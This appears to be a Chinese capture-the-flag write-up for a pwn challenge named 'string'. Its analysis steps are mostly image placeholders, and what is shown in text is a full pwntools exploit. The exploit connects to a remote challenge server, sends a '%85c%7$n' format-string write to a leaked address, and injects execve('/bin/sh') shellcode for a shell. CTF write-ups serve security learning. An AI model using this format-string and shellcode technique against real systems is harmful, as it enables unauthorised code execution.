PWN WP

string

2019-08-08  本文已影响0人  常向阳_
image.png

0x00 filechecksec

image.png

0x01 ida查看

image.png

0x02 进入sub_400D72()查看

image.png

0x03 sub_400A7D

image.png

0x04 sub_400BB9

image.png

0x05 sub_400CA6

image.png

0x06 思路

0x07 完整exp

from pwn import *

local=0
pc='./string'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 45969]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    ru('secret[0] is ')
    v3_0_addr = int(ru('\n')[:-1], 16)
    log.info('v3_0_addr', hex(v3_0_addr))
    ru('name be:\n')
    sl('cxy')
    ru('east or up?:\n')
    sl('east')
    ru('go into there(1), or leave(0)?:\n')
    sl('1')
    ru("'Give me an address'\n")
    sl(str(v3_0_addr))
    ru('you wish is:\n')
    sl('%85c%7$n')

    ru('SPELL\n')
    shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
    sl(shellcode)
    p.interactive()

0x07 结果

image.png
上一篇下一篇

猜你喜欢

热点阅读